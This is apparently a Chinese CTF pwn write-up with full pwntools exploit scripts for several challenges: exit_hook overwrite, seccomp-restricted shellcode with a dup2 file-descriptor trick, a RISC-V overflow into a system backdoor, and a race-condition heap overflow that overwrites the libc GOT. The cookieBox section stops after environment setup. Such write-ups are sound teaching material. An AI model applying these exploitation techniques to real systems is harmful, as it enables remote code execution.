easy_vm 1 GNU C Library (Ubuntu GLIBC 2.23 -0u buntu11) stable release version 2.23, by Roland McGrath et al.
1 2 3 4 5 6 pwn: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=26 ed58f813bfbb711bf498f43d760c8ba0fcaf53, stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
64位,dynamically,Full RELRO,NX,PIE
漏洞分析
本程序没有明显的漏洞,是利用程序提供的机制进行入侵:
1 2 3 4 5 6 ptr = malloc (0x1000 uLL); malloc (0x20 uLL);free (ptr);ptr = 0LL ; data = malloc (0x1000 uLL); code = (char *)malloc (0x1000 uLL);
程序的这一波操作会将 libc_addr 遗留在 data 中
1 2 3 4 pwndbg> telescope 0x5645cca65010 00 :0000 │ rax 0x5645cca65010 —▸ 0x7f354ef32b78 —▸ 0x5645cca67050 ◂— 0x0 01 :0008 │ 0x5645cca65018 —▸ 0x7f354ef32b78 —▸ 0x5645cca67050 ◂— 0x0 02 :0010 │ 0x5645cca65020 ◂— 0x0
入侵思路
核心思路就是利用 data 中遗留的 libc_addr 打 exit_hook,对于 exit_hook 的位置可以使用以下方法进行查找:
1 2 3 4 5 6 7 8 pwndbg> p rtld_lock_default_lock_recursive $1 = {void (void *)} 0x7f354ef38c90 <rtld_lock_default_lock_recursive> pwndbg> search -t qword 0x7f354ef38c90 Searching for value: b' \x90\x8c\xf3N5\x7f\x00\x00' warning: Unable to access 16000 bytes of target memory at 0x7f354ed35d07 , halting search. ld-2.23 .so 0x7f354f15ef48 0x7f354ef38c90 pwndbg> distance 0x7f354f15ef48 0x7f354eb6e000 0x7f354f15ef48 ->0x7f354eb6e000 is -0x5f0f48 bytes (-0xbe1e9 words)
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *arch = 64 challenge = './pwn1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) b = "set debug-file-directory ./.debug/\n" local = 1 if local: p = process(challenge) else : p = remote('' ,'9999' ) def debug (): gdb.attach(p,"b *$rebase(0x92E)\n" ) pause() def cmd (op ): sla(">" ,str (op)) one_gadgets = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] payload = p64(2 ) payload += p64(7 )+p64(0x3c4b78 ) payload += p64(1 ) payload += p64(6 )+p64(one_gadgets[3 ]) payload += p64(1 ) payload += p64(7 )+p64(one_gadgets[3 ]) payload += p64(6 )+p64(0x5f0f48 ) payload += p64(3 ) sla("code:" ,payload) p.interactive()
shellcode 1 GNU C Library (Ubuntu GLIBC 2.35 -0u buntu3.1 ) stable release version 2.35.
1 2 3 4 5 6 7 shellcode: ELF 64 -bit LSB pie executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , BuildID[sha1]=41 d67b4f1d7bba2b90bd3fcf2cbf5119a31a6dcb, for GNU/Linux 3.2 .0 , stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
64位,dynamically,Full RELRO,Canary,PIE
1 2 3 4 5 6 cxt = seccomp_init(0LL ); seccomp_rule_add(cxt, 0x7FFF0000 LL, SYS_open, 0LL ); seccomp_rule_add(cxt, 0x7FFF0000 LL, SYS_read, 1LL ); seccomp_rule_add(cxt, 0x7FFF0000 LL, SYS_write, 1LL ); seccomp_rule_add(cxt, 0x7FFF0000 LL, SYS_dup2, 0LL ); return seccomp_load(cxt);
只能打 ORW(需要先进行 patch 才能用 seccomp-tools 查看)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff ) goto 0020 0005 : 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019 0006 : 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019 0007 : 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013 0008 : 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count) 0009 : 0x25 0x0a 0x00 0x00000000 if (A > 0x0 ) goto 0020 0010 : 0x15 0x00 0x08 0x00000000 if (A != 0x0 ) goto 0019 0011 : 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count) 0012 : 0x25 0x07 0x06 0x00000002 if (A > 0x2 ) goto 0020 else goto 0019 0013 : 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020 0014 : 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count) 0015 : 0x25 0x03 0x00 0x00000000 if (A > 0x0 ) goto 0019 0016 : 0x15 0x00 0x03 0x00000000 if (A != 0x0 ) goto 0020 0017 : 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count) 0018 : 0x25 0x00 0x01 0x00000002 if (A <= 0x2 ) goto 0020 0019 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020 : 0x06 0x00 0x00 0x00000000 return KILL
漏洞分析
程序可以执行 shellcode:
1 2 box(); (*(void (**)(void ))code)();
入侵思路
程序对 shellcode 的限制特别严格:
1 2 3 4 5 6 for ( buf = code; buf; ++buf ){ read(0 , buf, 1uLL ); if ( (buf - code) >> 4 > 0 ) break ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 if ( code ){ while ( *buf >= 0x4F && *buf <= 0x5F ) { ++index; ++buf; } if ( !((buf - code) >> 4 ) ) { puts ("[*] It's Not GW's Expect !" ); exit (-1 ); } }
限制 shellcode 的每个字符都要在 [0x4F,0x5F]
的范围内
首先必须绕过对字符的限制,因为就连 “flag” 字符串也会被隔离,接着要解决 shellcode 长度的问题,在面对带有限制的 shellcode 时有两种处理方法:
构造 sys_read
通过 add rsp offset; ret;
来将栈迁移到不被限制的区域
通过汇编指令来修改 shellcode 本身(shellcode 自修改)
由于 syscall 0f05 被限制并且 shellcode 本身也较短,上述两种方法好像都不适用,但程序有一个地方可以写入 syscall:
1 2 3 4 5 6 puts ("[2] Input: (ye / no)" );read(0 , buf, 2uLL ); if ( !strcmp (buf, "ye" ) ) puts ("xxxx{xxxx_xxxx_xxxx_xxxx}" ); else pwn(buf);
执行 shellcode 时的寄存器信息和栈信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 RAX 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY' ) RBX 0x0 RCX 0x55cd7e1ede7f RDX 0x55c8229cf7b0 ◂— 0x0 RDI 0x7 RSI 0x55c8229ce010 ◂— 0x7 R8 0x55c8229cf6b0 ◂— 0x55cd7e1ede7f R9 0x55c8229cf6b0 ◂— 0x55cd7e1ede7f R10 0x1 R11 0x20218404d1c748ff R12 0x7ffe033d0dc8 —▸ 0x7ffe033d23cd ◂— './shellcode1' R13 0x55c821dff574 ◂— endbr64 R14 0x55c821e01d60 —▸ 0x55c821dff240 ◂— endbr64 R15 0x7f4e14593040 (_rtld_global) —▸ 0x7f4e145942e0 —▸ 0x55c821dfe000 ◂— 0x10102464c457f RBP 0x7ffe033d0c70 —▸ 0x7ffe033d0cb0 ◂— 0x1 *RSP 0x7ffe033d0c18 —▸ 0x55c821dff4f4 ◂— nop *RIP 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY' )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> stack 00 :0000 │ rsp 0x7ffe033d0c18 —▸ 0x55c821dff4f4 ◂— nop 01 :0008 │ 0x7ffe033d0c20 ◂— 0x14 02 :0010 │ 0x7ffe033d0c28 —▸ 0x7ffe033d0c80 ◂— 0x6f6e 03 :0018 │ 0x7ffe033d0c30 ◂— 0x1021e000e9 04 :0020 │ 0x7ffe033d0c38 —▸ 0x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459 05 :0028 │ 0x7ffe033d0c40 —▸ 0x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459 06 :0030 │ 0x7ffe033d0c48 —▸ 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY' )07 :0038 │ rax rip 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY' )pwndbg> 08 :0040 │ 0x7ffe033d0c58 ◂— 0x5a55555555555d5c ('\\]UUUUUZ' )09 :0048 │ 0x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459 0 a:0050 │ 0x7ffe033d0c68 ◂— 0x12dacfe397d04000 0b :0058 │ rbp 0x7ffe033d0c70 —▸ 0x7ffe033d0cb0 ◂— 0x1 0 c:0060 │ 0x7ffe033d0c78 —▸ 0x55c821dff613 ◂— lea rax, [rip + 0xb01 ]
当 pop rsp
使 0x7ffe033d0c80
成为 rsp
时,寄存器信息如下:
1 2 *RSP 0x7fff656bc980 ◂— 0x50f *RIP 0x7fff656bc957 ◂— 0x5f5555555555585d (']XUUUUU_' )
寄存器 rsp rip
距离很近,只需要进行适当数量的 push
和 pop
就控制 rip
(具体数量可以边调试边调整)
最后需要使用 shellcraft.dup2(a,b)
对文件描述符进行迁移才能绕过 sandbox
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *arch = 64 challenge = './shellcode1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc.so.6' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) b = "set debug-file-directory ./.debug/\n" local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0x14F2)\n" ) def cmd (op ): sla("Your chocie:" ,bytes (op)) sa("[2] Input: (ye / no)" ,asm("syscall" )) payload = asm( ''' push rbx pop rdi push rax pop rsi pop rcx pop rcx pop rsp pop rbp pop rax push rbp push rbp push rbp push rbp push rax push rbp ''' ).ljust(16 ,p8(0x5a ))sla("[5] ======== Input Your P0P Code ========" ,payload) gadget = "sub rsp,0x18;" shellcode_open = shellcraft.open ("rsp" ) shellcode_dup1 = shellcraft.dup2(3 ,0 ) shellcode_read = shellcraft.read("rax" ,"rsp" ,60 ) shellcode_dup2 = shellcraft.dup2(1 ,0x100000000 ) shellcode_write = shellcraft.write(0x100000000 ,"rsp" ,60 ) shellcode=asm(gadget+shellcode_open+shellcode_dup1+shellcode_read+shellcode_dup2+shellcode_write,arch='amd64' ) payload = "flag\x00" +"a" *(0x10 -3 )+shellcode sleep(0.2 ) sl(payload) p.interactive()
risky_login 1 GNU C Library (GNU libc) stable release version 2.37.
1 2 3 4 5 6 7 8 pwn: ELF 64 -bit LSB executable, UCB RISC-V, RVC, double -float ABI, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-riscv64-lp64d.so.1 , for GNU/Linux 4.15 .0 , stripped [!] Could not populate PLT: AttributeError: arch must be one of ['aarch64' , 'alpha' , 'amd64' , 'arm' , 'avr' , 'cris' , 'i386' , 'ia64' , 'm68k' , 'mips' , 'mips64' , 'msp430' , 'none' , 'powerpc' , 'powerpc64' , 'riscv' , 's390' , 'sparc' , 'sparc64' , 'thumb' , 'vax' ] [*] '/home/yhellow/桌面/shellcoe/pwn' Arch: em_riscv-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000 )
直接运行程序会出现以下报错:
1 riscv64-binfmt-P: Could not open '/lib/ld-linux-riscv64-lp64d.so.1' : No such file or directory
关于 RISC-V 架构可以参考以下网站:
漏洞分析
由于 IDA 对 RISC-V 架构的程序分析出错,GDB 实际上是在调试 qemu,这里只能通过分析静态汇编代码来进行入侵(目测栈溢出)
有后门:
1 2 3 .text:0000000012345770 loc_12345770: # CODE XREF: sub_123456EE+66 ↑j .text:0000000012345770 13 85 81 87 la a0, buf .text:0000000012345774 97 B0 CC ED E7 80 C0 FE call system
由于不熟悉 RISC-V 架构,很难直接从汇编代码中看出是否有栈溢出,因此最简单的方式就是直接输入大数据看看是否会 crash
1 2 sla("name" ,"a" *0x7 ) sla("words" ,"a" *0x100 )
1 2 3 4 Traceback (most recent call last): File "/home/yhellow/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py" , line 746 , in close fd.close() BrokenPipeError: [Errno 32 ] Broken pipe
入侵思路
由于不确定 padding 的填充数量,我们可以写一个简单的脚本来进行测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 find_list = [] for i in range (0x180 ): payload = "a" *(0x180 -i) try : p = process(challenge) sla("name" ,"a" ) sa("words" ,payload) ru("too long" ) except : find_list.append(hex (len (payload))) success("find: " +str (len (payload))) p.close() continue print (find_list)
1 ['0x107' , '0x106' , '0x105' , '0x104' , '0x103' , '0x102' , '0x101' , '0x100' , '0x27' , '0x25' , '0x24' , '0x23' , '0x22' , '0x21' , '0x20' , '0x1f' , '0x1e' , '0x1d' , '0x1c' , '0x1b' , '0x1a' , '0x19' , '0x18' , '0x17' , '0x16' , '0x15' , '0x14' , '0x13' , '0x12' , '0x11' , '0x10' , '0xf' , '0xe' , '0xd' , '0xc' , '0xb' , '0xa' , '0x9' , '0x8' , '0x7' , '0x6' , '0x5' , '0x4' , '0x3' , '0x2' , '0x1' ]
[0x1,0x27]
都是由于字节数太小而没有触发报错,从 0x100
开始都是 crash
基本确定了 padding 的大小就是 0x100
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *arch = 64 challenge = './pwn' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) elf = ELF(challenge) libc = ELF('libc.so.6' ) local = 1 if local: p = process(challenge) else : p = remote('172.16.159.33' ,'58012' ) def debug (): gdb.attach(p,"b*0x012345826\n" ) pause() """ find_list = [] for i in range(0x180): payload = "a"*(0x180-i) try: p = process(challenge) sla("name","a") sa("words",payload) ru("too long") except: find_list.append(hex(len(payload))) success("find: "+str(len(payload))) p.close() continue print(find_list) """ backdoor = 0x12345770 payload = b"a" *0x100 + p64(backdoor) sla("name" ,"/bin/sh" ) sa("words" ,payload) p.interactive()
heap 1 GNU C Library (Ubuntu GLIBC 2.35 -0u buntu3.1 ) stable release version 2.35.
1 2 3 4 5 6 heap: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , BuildID[sha1]=889e7948 d634cc86970feeb81c2a72787086723b, for GNU/Linux 3.2 .0 , stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
漏洞分析
条件竞争:
1 2 3 4 5 if ( pthread_create(&newthread, 0LL , (void *(*)(void *))(&func_list)[op], chunk) ){ perror("Thread creation failed" ); ++times; }
在 edit 模块中的 sleep 函数也在暗示条件竞争:
1 2 3 index = atoi(data); chunk = *((_DWORD *)chunk_list[index] + 2 ); sleep(1u );
入侵思路
由于 edit 模块有延迟,也就是说 edit 模块效验 len 的代码和使用 len 的代码是分开的:
1 2 3 4 5 6 7 8 9 10 index = atoi(data); len = chunk_list[index]->len; sleep(1u ); if ( index <= 0xF && chunk_list[index] ){ printf ("paper index: %d\n" , index); puts ("Input the new paper content" ); strncpy (chunk_list[index]->data, dest, len); puts ("Done" ); }
在 edit 模块效验完 len 并 sleep 的这段时间里,其他的进程可能会修改 chunk_list[index]
,使更小的 chunk 写入其中,导致后续的 strncpy
发生堆溢出
利用堆溢出,我们可以覆盖相邻 chunk 内部指针的低位,最后的泄露地址如下:
1 2 3 114 :08 a0│ 0x7f3bc40008a0 —▸ 0x7f3bc9619c80 (main_arena) ◂— 0x0 115 :08 a8│ 0x7f3bc40008a8 ◂— 0x0 116 :08b 0│ 0x7f3bc40008b0 ◂— 0x0
进行泄露的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 add(b"a" *(0x68 -6 )) edit(0 ,b"a" *0x58 +b"b" *8 +p16(0x8a0 )) dele(0 ) add(b"1" *0x50 ) add(b"2" *0x50 ) add(b"3" *0x50 ) dele(2 ) dele(0 ) add(b"0" *0x50 ) ru("Input the new paper content" ) show(1 ) ru("paper content: " ) leak_addr = u64(ru("\n" ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x219c80 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base))
由于程序的 libc 版本过高 free_hook
等常规手段失效,现在只有以下3个选择:
打 IO
打 exit_hook
打栈
打 libc got
由于程序对堆的控制比较有限,因此先不考虑打 IO,而高版本 libc 的 exit_hook 也不好找,因此这里我们先考虑打栈
在有多线程的题目中一般不考虑用 TLS 获取栈地址,而是使用 __libc_argv
环境变量:
1 2 3 4 5 pwndbg> p &__libc_argv $4 = (char ***) 0x7fe52da1aa20 <__libc_argv> pwndbg> telescope 0x7fe52da1aa20 00 :0000 │ 0x7fe52da1aa20 (__libc_argv) —▸ 0x7ffea2946de8 —▸ 0x7ffea29483df ◂— 0x4400706165682f2e 01 :0008 │ 0x7fe52da1aa28 (__libc_argc) ◂— 0x1
最后一个问题就是 one_gadget 的条件比较苛刻只能写入 system
,但 system
在调用后可能会发生栈错误,在 GDB 的配合下勉强可以打通
非完整 exp 如下:(这个 exp 打通率很低)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 from pwn import *arch = 64 challenge = './heap1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-3.35.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) b = "set debug-file-directory ./.debug/\n" local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0x18BD)\nb *$rebase(0x1A02)\n" ) def cmd (op ): sla("Your chocie:" ,bytes (op)) def add (data ): ru("Your chocie:" ) payload = b"1 " + data sl(payload) def show (index ): payload = b"2 " + bytes (index) sl(payload) def edit (index,data ): ru("Your chocie:" ) payload = b"3 " + bytes (index) + b":" + data sl(payload) def dele (index ): payload = b"4 " + bytes (index) sl(payload) add(b"a" *(0x68 -6 )) edit(0 ,b"a" *0x58 +b"b" *8 +p16(0x8a0 )) dele(0 ) add(b"1" *0x50 ) add(b"2" *0x50 ) add(b"3" *0x50 ) ru("Input the new paper content" ) show(1 ) ru("paper content: " ) leak_addr = u64(ru("\n" ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x219c80 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) free_hook = libc_base + libc.sym["__free_hook" ] system_libc = libc_base + libc.sym["system" ] stack_libc = libc_base + 0x21aa20 one_gadgets = [0x50a37 ,0xebcf1 ,0xebcf5 ,0xebcf8 ,0xebd52 ,0xebdaf ,0xebdb3 ] one_gadget = one_gadgets[1 ] + libc_base success("system_libc >> " +hex (system_libc)) success("stack_libc >> " +hex (stack_libc)) success("one_gadget >> " +hex (one_gadget)) payload = b"1 " + "a" *(0x68 ) sl(payload) edit(3 ,b"a" *0x58 +b"b" *8 +p64(stack_libc)) dele(3 ) add(b"1" *0x50 ) add(b"2" *0x50 ) ru("Input the new paper content" ) show(4 ) ru("paper content: " ) leak_addr = u64(ru("\n" ).ljust(8 ,"\x00" )) stack_addr = leak_addr - 0x110 success("leak_addr >> " +hex (leak_addr)) success("stack_addr >> " +hex (stack_addr)) payload = b"1 " + "a" *(0x68 ) sl(payload) edit(5 ,b"a" *0x58 +b"b" *8 +p64(stack_addr)) dele(5 ) add(b"1" *0x50 ) add(b"2" *0x50 ) ru("Input the new paper content" ) payload = b"3 " + bytes (6 ) + b":" + p64(system_libc) sl(payload) ru("Input the new paper content" ) sl("5 /bin/sh\x00" ) p.interactive()
更优化的方法是打 libc got,在 GDB 中查看可用的 got:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> telescope 0x7f3a80619008 00 :0000 │ 0x7f3a80619008 (_GLOBAL_OFFSET_TABLE_+8 ) —▸ 0x7f3a806e94c0 —▸ 0x7f3a80400000 ◂— 0x3010102464c457f 01 :0008 │ 0x7f3a80619010 (_GLOBAL_OFFSET_TABLE_+16 ) —▸ 0x7f3a80700d30 (_dl_runtime_resolve_xsavec) ◂— endbr64 02 :0010 │ 0x7f3a80619018 (*ABS*@got.plt) —▸ 0x7f3a805b3e80 (__strnlen_evex) ◂— endbr64 03 :0018 │ 0x7f3a80619020 (*ABS*@got.plt) —▸ 0x7f3a805afca0 (__rawmemchr_evex) ◂— endbr64 04 :0020 │ 0x7f3a80619028 (realloc @got[plt]) —▸ 0x7f3a80428030 ◂— endbr64 05 :0028 │ 0x7f3a80619030 (*ABS*@got.plt) —▸ 0x7f3a8059b930 (__strncasecmp_avx) ◂— endbr64 06 :0030 │ 0x7f3a80619038 (_dl_exception_create@got.plt) —▸ 0x7f3a80428050 ◂— endbr64 07 :0038 │ 0x7f3a80619040 (*ABS*@got.plt) —▸ 0x7f3a805aef00 (__mempcpy_evex_unaligned_erms) ◂— endbr64 pwndbg> 08 :0040 │ 0x7f3a80619048 (*ABS*@got.plt) —▸ 0x7f3a805afa90 (__wmemset_evex_unaligned) ◂— endbr64 09 :0048 │ 0x7f3a80619050 (calloc @got[plt]) —▸ 0x7f3a80428080 ◂— endbr64 0 a:0050 │ 0x7f3a80619058 (*ABS*@got.plt) —▸ 0x7f3a80598990 (__strspn_sse42) ◂— endbr64 0b :0058 │ 0x7f3a80619060 (*ABS*@got.plt) —▸ 0x7f3a805ae680 (__memchr_evex) ◂— endbr64 0 c:0060 │ 0x7f3a80619068 (*ABS*@got.plt) —▸ 0x7f3a805aef40 (__memmove_evex_unaligned_erms) ◂— endbr64 0 d:0068 │ 0x7f3a80619070 (*ABS*@got.plt) —▸ 0x7f3a805b5700 (__wmemchr_evex) ◂— endbr64 0 e:0070 │ 0x7f3a80619078 (*ABS*@got.plt) —▸ 0x7f3a805afe20 (__stpcpy_evex) ◂— endbr64 0f :0078 │ 0x7f3a80619080 (*ABS*@got.plt) —▸ 0x7f3a805b5a00 (__wmemcmp_evex_movbe) ◂— endbr64
通过看别人博客发现 __strspn_sse42
比较好用
经过测试,需要把 0x7f3a80619040-0x7f3a80619050
(__strspn_sse42
往上 0x18 字节)都破坏掉,然后在 __strspn_sse42
上放入 system
才能打通(不然会有段错误)
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import *arch = 64 challenge = './heap1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-3.35.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) b = "set debug-file-directory ./.debug/\n" local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0x18BD)\nb *$rebase(0x1A02)\n" ) def cmd (op ): sla("Your chocie:" ,bytes (op)) def add (data ): ru("Your chocie:" ) payload = b"1 " + data sl(payload) def show (index ): payload = b"2 " + bytes (index) sl(payload) def edit (index,data ): ru("Your chocie:" ) payload = b"3 " + bytes (index) + b":" + data sl(payload) def dele (index ): payload = b"4 " + bytes (index) sl(payload) add(b"a" *(0x68 -6 )) edit(0 ,b"a" *0x58 +b"b" *8 +p16(0x8a0 )) dele(0 ) add(b"1" *0x50 ) add(b"2" *0x50 ) add(b"3" *0x50 ) ru("Input the new paper content" ) show(1 ) ru("paper content: " ) leak_addr = u64(ru("\n" ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x219c80 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) system_libc = libc_base + libc.sym["system" ] libc_got = libc_base + 0x219058 - 0x18 success("system_libc >> " +hex (system_libc)) success("libc_got >> " +hex (libc_got)) payload = b"1 " + "a" *(0x68 ) sl(payload) edit(3 ,b"a" *0x58 +b"b" *8 +p64(libc_got)) dele(3 ) add(b"1" *0x50 ) add(b"2" *0x50 ) ru("Input the new paper content" ) payload = b"3 " + bytes (4 ) + b":" + "a" *0x18 +p64(system_libc) sl(payload) ru("Input the new paper content" ) sl("/bin/sh" ) p.interactive()
cookieBox 1 /home/cnitlrt/aaa/XCTF_2020_PWN_musl/source/musl-1.1 .24
1 2 3 4 v27 = " [args]" ; v28 = (size_t )base; v29 = "1.1.24" ; v30 = "musl libc (x86_64)\nVersion %s\nDynamic Program Loader\nUsage: %s [options] [--] pathname%s\n" ;
1 2 3 4 5 6 cookieBox: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /home/cnitlrt/aaa/XCTF_2020_PWN_musl/source/musl-1.1 .24 /build/lib/ld-musl-x86_64.so.1 , stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 )
64位,dynamically,Full RELRO,Canary,NX
漏洞分析
有 UAF 漏洞:
1 2 3 4 5 6 if ( index <= 0xF && chunk_list[index] ){ free (chunk_list[index]); size_list[index] = 0 ; puts ("Done" ); }
入侵思路
先搭建调试环境:
1 2 3 4 5 tar -xzvf musl-1.1.24.tar.gz cd musl-1.1.24 sudo su ./configure --prefix=/usr/local/musl CFLAGS='-O2 -v -g' --enable-debug=yes make && make install
打印 mal 结构体即可查看详细信息:
